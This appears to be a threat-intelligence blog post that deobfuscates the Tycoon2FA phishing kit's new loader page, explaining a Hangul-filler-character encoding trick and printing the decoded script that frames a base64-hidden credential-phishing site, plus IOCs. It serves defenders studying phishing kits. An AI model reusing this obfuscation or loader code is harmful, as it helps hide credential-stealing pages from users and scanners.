Tycoon2FA is a phishing-as-a-service that is used to collect Microsoft and Google credentials.

Recently Tycoon2FA has introduced a new method for their fake Google login. This new method uses an iframe to wrap around what was previously used as their main domains. As part of this new loader page there is an esoteric obfuscation mechanism. Here I will attempt to describe how this obfuscation works.

Loader Page

Previously when a victim is on a Tycoon2FA page, the host in the URL seen at the top of the browser is the same host that provides the various assets like HTML and Javascript used to render the captcha and fake login. Now with this variation, the URL at the top is just a loader that contains an iframe. Here is a recent sample found on urlscan.

Fake captcha web page

The index.html for this loader page consists of the HTML <head>, some simple <script>, some weird Javascript, then lots of lines of weird characters, then finally the closing <script>.

index.html for loader

There does not appear to be anything there to render a fake Google login with captcha. So clearly the weird characters must be hiding something.

Script Analysis

From the index.html it’s safe to guess that this single line Javascript will somehow decode the weird characters.

s="";for(let dL=0;dL<4**7;++dL)Reflect.defineProperty(self,[...dL.toString(4).padStart(7)].map(n=>"ᅟᅠㅤᅠ"[+n]).join(""),{get(){ dL?s+=String.fromCharCode(dL>>7,dL&127):eval(s)}})

Let’s start with a little bit of formatting.

s="";
for (let dL=0;dL<4**7;++dL) Reflect.defineProperty(self,
    [...dL.toString(4).padStart(7)].map(n=>"ᅟᅠㅤᅠ"[+n]).join(""),
    {get(){ dL ? s+=String.fromCharCode(dL>>7,dL&127) : eval(s)}}
)

It starts by setting the var s to an empty string. Looking carefully we can see a s+= later on. So odds are that’s going to eventually contain the decoded string.

The for loop runs from 0 to 4**7. ** means exponential, so this would mean the loop runs to 4 ^ 7 or 16,384.

The loop will run Reflect.defineProperty() 16,384 times with dL starting at 0 and going to 16383. Curious.

Reflect.defineProperty()

Per the mdn web doc:

Reflect.defineProperty() provides the reflective semantic of defining an own property on an object.

It also describes the syntax as such.

Reflect.defineProperty(target, propertyKey, attributes)

So the loop appears to be creating 16,384 properties for self.

Properties

As the loop iterates 16,384 times, it uses this to specify properties for self.

[...dL.toString(4).padStart(7)].map(n=>"ᅟᅠㅤᅠ"[+n]).join("")

dL will be an integer that runs from 0 to 16383.

Let’s try some dynamic analysis using node. By copying the single line to a test JS file, we can try out bits and pieces of the original code. Here we’ll comment the Reflect.defineProperty() part and use it for inspiration. To start we can use console.log() to watch dL increment and how some of the bits and pieces would look.

test1.js

Output from the above testing script shows that we can create those funky character strings. Here’s the running of the testing script and only showing the output when dL equals 0.

node running test1.js

Piping the same command to less and searching for the first funky line in the original index.html shows that it’s associated with dL equal to 15201.

output for dL 15201

Attributes

For each of the 16,384 properties an attribute is specified with a get() function.

get(){ dL ? s+=String.fromCharCode(dL>>7,dL&127) : eval(s)}

This is at least more straight forward. It uses a ternary operator which is this syntax:

condition ? exprIfTrue : exprIfFalse

When dL is 0 it will use the exprIfFalse at the ending. For all other integers it will use the exprIfTrue.

The exprIfTrue is taking dL and cutting it into two 7-bit integers and converting them to a character code and appending them to the s varable. Only grabbing two chunks of 7-bits makes sense because the loop only runs up to 16,383 which is represented with 14-bits.

It’s safe to guess that the purpose here is to convert all the funky lines into a string. And the last line will be a funky version of 0 which tells it to eval() what it has concatenated all together.

Convert Funky Lines

If we copy the original index.html again and whittle it down to just the decoding part, it would look like this.

original decoding part of javascript

Now lets reformat it and prepend the original property definition when appending to the s variable. We don’t want to run anything decoded, so we swap out eval for console.log. And because we’re running this with node we can’t use self, but instead global.

test1a javascript

Running this testing script reveals what each of these funky lines decode to.

test1a javascript output

Each line translates to two characters. That explains for the two 7-bit integers we saw earlier. Combining the first seven lines we get var hackberry !!

Decode it all

Now we want to decode the whole contents. Copying the original index.html another time and this time only update self to global and eval to console.log we get this.

test3 javascript

Running this testing script yields the complete contents of the hidden Javascript.

test3 output

Explanation

The single line of Javascript with the Reflect.defineProperty() creates 16,384 properties. What follows that are those very properties that when interpreted by a Javascript engine will update the s variable and then eventually eval() that s variable. Properties are similar to variables. Each of those funky lines are a bit like a single funky looking variable, one after another after another.

Index Deobfuscated

Taking the original index.html and replacing the obfuscated section with output from above we get the complete picture.

<html>
 <head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta name="robots" content="noindex, nofollow">
 </head>
 <body>
 <span hidden>They watched the stars twinkle in the night sky.</span>
 </body>
<script>
var typha = null;
if(location.hash == ""){
location.hash = ``;
typha = ``;
}
if(location.hash !== ""){
typha = location.hash;
}
if (location.hash.includes('?')) {
typha = location.hash.replace('#', '');
}

var hackberry = document.createElement('iframe');
    hackberry.sandbox.add('allow-same-origin');
    hackberry.sandbox.add('allow-top-navigation');
    hackberry.sandbox.add('allow-modals');
    hackberry.sandbox.add('allow-scripts');
    hackberry.sandbox.add('allow-popups-to-escape-sandbox');
    hackberry.sandbox.add('allow-forms');
    hackberry.src = atob("aHR0c"+"HM6Ly9"+'sZTUuZGV'+"yaXZpb"+"mc2LmNv"+`bS82RH`+`dHbHVKM`+'VNzOVBuWGN'+`mWExjT`+`EZjd2c1Lw`+`==`)+typha;
    hackberry.style.cssText = 'position: fixed; inset: 0px; width: 100%; height: 100%; border: 0px; margin: 0px;padding: 0px; overflow: hidden; z-index: 999999;';
    document.write(hackberry);
    document.body.innerHTML = "";
    document.body.appendChild(hackberry);

</script>
</html>

IOCs

caioba.com
hXXps://caioba[.]com/cg/index.html

References

https://blog.sekoia.io/tycoon-2fa-an-in-depth-analysis-of-the-latest-version-of-the-aitm-phishing-kit/

https://urlscan.io/result/28d9ba79-b83a-4eb4-ae87-f903560aec88